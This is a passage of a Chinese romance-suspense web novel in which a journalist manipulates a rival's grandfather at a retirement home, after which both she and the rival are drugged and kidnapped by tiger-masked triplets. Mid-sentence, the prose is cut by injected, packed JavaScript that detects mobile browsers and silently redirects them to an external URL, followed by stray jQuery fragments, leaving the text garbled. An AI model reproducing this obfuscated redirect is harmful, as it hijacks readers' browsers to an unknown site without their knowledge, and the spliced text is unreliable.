大婶走到兰曦禾面前,声音哽在喉咙里,半天才挤出一句完整的话:“姑娘……你能不能帮我们传传话?赔钱我们愿意赔,就是……期限能不能宽限宽限?”
她侧过头,目光落在院子里那些刚搭好的棚子和新翻的菜地上:“这个农家乐刚做,还没正式开张,手头实在转不开……王哥儿子也快娶媳妇了,他还念叨着要给孩子攒嫁妆钱……”
兰曦禾心里泛起涟漪。她当记者这些年,见过太多底层人家为了一点钱愁到走投无路的样子,但每一次亲眼看到,还是会被那种压得人喘不过气的疲惫感击中。
她握住大婶的手:“放心,我会帮你们的。”
她安抚好江家一家人的情绪,开车直奔军休养老院。护工见到她时眼睛一亮:“祝老前两天还念叨你呢,没想到今天就来了。”
兰曦禾走进去的时候,祝老爷子正靠在窗边翻一本旧相册,看见她先是愣了一下,随即眉开眼笑:“哎哟,这么巧!我孙子刚说晚上要来看我,你比他先到一步。”
兰曦禾走过去,扶着老爷子坐下,聊了几句家常后,把养老报道的事说了,终稿里没有提到他。祝老爷子沉默了一会儿,声音轻了几分:“是因为我孙子那件事吗?”
“您都知道了?”兰曦禾有些意外。但转念一想,瞒得了一时瞒不了一世,养老院里人多嘴杂,总会有人说漏。
“不过您不用担心,”她补了一句,“他们是被诬陷的,事情快解决了。”
祝老爷子轻轻笑了一下:“我知道他们不会干这种事。”从小到大,他没见过祝勋洲做过一件触碰底线的事,这一点他信得过。
兰曦禾清了清嗓子,转了话锋:“祝老,其实……我和您孙子以前是同学。”
祝老爷子抬眼看她,等着她往下说。
“我俩以前有点不对付,年少不懂事,因为一点事就争来争去。”她一边说一边观察着老爷子的表情,慢慢地往目标上靠,“我现在想和他好好相处,但是他好像……不太愿意。”
祝老爷子听到这,眼睛猛地一亮:“你愿意和他好好相处?!”
要是兰曦禾能和祝勋洲放下旧怨,不再针锋相对,他这当爷爷的心里那块石头也能挪一挪了。
兰曦禾看他往自己预设的方向走了,赶紧接话:“那您能不能帮帮我?我一接近他,他就像要杀了我似的……”
“好说好说!”祝老爷子来了精神,“你以后常来,我帮你也把他叫来,日子久了,关系自然就缓和了。”
走廊外,祝勋洲正低头看手机往里走。欧阳明刚发来消息。
虎尾队,一个专接灰色任务的团伙,出任务戴虎面具是他们的特色。他正要回消息,听见房间里传来一道熟悉的女声,脚步顿住。
兰曦禾正笑着说话:“那还得麻烦祝老多帮我在您孙子面前说几句好话。”
“没问题,只要能缓和你们的关系。”
“爷爷,平时你说二我不说一,”祝勋洲靠在门口,“但这件事,我可要叛逆了。”
兰曦禾回头看见他,立刻转向祝老爷子,嘴巴微微撅起来,眉毛轻轻往下压,两只眼睛水汪汪地看向老爷子,带着一点委屈和求助。
祝老爷子这辈子没有女儿也没有孙女,看见这个画面心尖都软了,转头就对着祝勋洲说:“不影响。你来看你的,兰记者来采访她的,各做各的事。”
“……”祝勋洲和兰曦禾同时愣住了,好一个“两全其美”的方案。
祝勋洲走进来,目光在兰曦禾脸上停了一瞬。原来她的阴招还是往自己爷爷身上使。
兰曦禾没理他,转而对祝老爷子说:“祝老,我过段时间台里要开一个人物专访栏目,各行各业的专家都会来,到时候我给您申请一期,您来给我撑撑场面怎么样?”
祝老爷子来了劲:“真的?我刚好愁最近想唠嗑没人听呢!”他转头看向祝勋洲,“你公司的事处理得怎么样了?”
兰曦禾见缝插针:“是不是那个小女孩的事很难处理?”
“什么小女孩?”祝老爷子皱起眉。
祝勋洲目光一沉,她竟想利用爷爷的善心来改变他的决定。他含糊地接了一句:“没有,已经解决了。”
兰曦禾:“祝老,有个高三女学生被利用,发了元筑——”
“兰曦禾。”祝勋洲打断她,声音冷下来,“这里不欢迎你。以后,可以别来了吗?”
祝老爷子看见孙子的脸色真的在发火,才意识到这两人之间的问题,比他想象中严重得多。
兰曦禾偏过头,语气不急不慢:“祝老想见我,你难道要为难一位老人家吗?”
祝勋洲咬紧后槽牙,情绪一层层往上翻涌。他看向爷爷:“我从来没有为难过你。你如果把我当孙子,有她没我,有我没她。”
祝老爷子心头一酸。怎么可能不选自己孙子呢?可他转头看了看兰曦禾,那姑娘也挺可怜的…
祝勋洲看见爷爷那短暂的一瞬迟疑,忽然笑了一下,他转身往外走,对兰曦禾丢下一句:“行,你赢了。”
兰曦禾有点发懵。这就输了?不像他的作风。她看向祝老爷子,老爷子脸上写满了为难:“兰记者,不是我不想帮你……我就这一个孙子。”他叹了口气,“我是真没想到你俩关系僵成这样……”
兰曦禾心里忽然涌上一股愧疚。她低头看着老爷子微微湿润的眼眶,原本今晚他该和孙子好好待一会儿的。
“祝老,我明白。我不想让您为难。”她站起来,“我去帮您叫他回来。”
她转身往外走。走廊尽头拐了个弯,经过一扇窗户时,她看见祝勋洲靠在墙边,手里转着车钥匙,嘴角勾着一个极淡的弧度。她脚步一滞,他根本没走。
祝勋洲听见她的脚步声,偏头看了她一眼,目光满是讽刺。
你演,我比你更能演。
兰曦禾忽然明白过来了。他刚刚那场让步是演给她看的。他在爷爷面前先退一步,逼她主动退场,还顺手在老爷子心里给自己赢回一分。
她走过去:“你赢了,回去陪爷爷。但我不会放手江姝晴的事。”
祝勋洲“嘶”了一声:“就留了一晚,你就这么拼。那我都把你从那辆黑车手里救出来了,你是不是该把命给我?”
“我有屁你想吃吗?”兰曦禾冷笑一声,白了一眼往停车场走去。
兰曦禾拉开车门进去,发动引擎,伸手去系安全带。
车窗外的灯光晃了一下,她余光瞥见后视镜里一个身影。
她还没来得及回头,一只手从驾驶座后方伸过来,捂住了她的口鼻。掌心带着一股
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913093|213208||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刺鼻的化学气味,她拼命挣扎,但四肢在几秒之内迅速发软,视线从边缘开始变黑。模糊中她看见一张戴虎面具的脸,整个世界彻底暗了下去。
养老院的房间里,祝勋洲陪着爷爷聊到老人困倦睡下,才起身离开。
他走到地下停车场,拉开自己那辆黑色轿车的车门坐进去,刚伸手去发动引擎,一股浓稠的白烟从空调出风口猛喷出来,瞬间灌满了整个车厢。
他猛地呛了一口,瞳孔微缩,去推车门的手还没碰到把手,视线就开始摇晃。他只撑了三秒,就失去了意识。
——
一辆直升机上,三个一模一样的面孔围成一圈。就是三个发色不一样。分别染着红黄绿。红毛是大哥,黄毛是二哥,绿毛就是三弟。
红毛蹲在地上,挠了挠后脑勺,看着面前昏迷的一男一女:“不是说只捉男的吗?这女的怎么回事?”
黄毛凑过来,脸上带着一种“等夸”的表情:“大哥,他俩好像是情侣。我一起捉来了,到时候债主一看,多送一个,肯定高兴。债主高兴了,爽哥也高兴。而且我们在虎尾队的时间也差不多了,说不定就提前给我们自由了。”
红毛抬手拍在黄毛脑袋上:“买一送一?双十一购物节呢?你怎么确定他们是情侣?”
绿毛默默掏出手机,屏幕上是他在柠芯沥山庄偷拍的视频,兰曦禾靠在祝勋洲身上,下一秒又弹开扇了他一巴掌,然后又打成一团,最后兰曦禾把他抵在卡车上。黄毛在旁边激情解说:“你看你看,大早上的就在调情!”
绿毛跟着补充:“这角度都感觉要亲上了。不是情侣我吃屎都行。”
红毛蹲在地上打量了两人一圈,咂了咂嘴,也没再多说:“行,先带回去,等到了让爽哥看了再说。”
兰曦禾被一捧冷水泼醒。她猛地咳了几声,睁开眼睛,视线从模糊逐渐对焦。
头顶是凹凸不平的岩壁,像被海水腐蚀过的山体内部,光线昏暗,只有几盏应急灯挂在角落里,勉强照亮这片空间。空气里有一股潮湿的土腥味,混杂着机油和海风残余的咸。
她动了动手腕,发现被绑在椅子上,绳子勒得很紧。四周站着几个穿深色衣服的男人,表情麻木,像哨兵一样各自守着出口。她的心跳猛地加速,往旁边看,一个红毛正蹲在不远处剥一根香蕉。
“这是哪里?”她的声音有点哑,喉咙还残留着被捂住口鼻时的呛感。
红毛抬眼看了她一下:“一会就知道了。”
兰曦禾脑子里飞速转着,她完全想不起来自己是怎么被弄到这儿来的,只记得地下停车场,车里的灯光,后视镜里的影子,然后一切就黑了。
正当她试图理清思路时,旁边一扇铁皮门“咣”地被推开。黄毛和绿毛一人架着一条胳膊,把一个人拖了进来。那人低垂着头,脚步虚浮,像刚醒不久。
祝勋洲。
兰曦禾瞳孔微微一缩。他被按到另一张椅子上,绳子绕了好几圈绑紧。他甩了甩头,抬起眼,视线在昏暗的光线中扫了一圈,最后落在她脸上停住。好像也没想到会在这看见她。
兰曦禾的目光从黄毛移到绿毛,再从绿毛挪回红毛。三张同样的脸,同样的五官轮廓,只是一个染红毛、一个染黄毛、一个顶着一头不伦不类的绿。
三胞胎?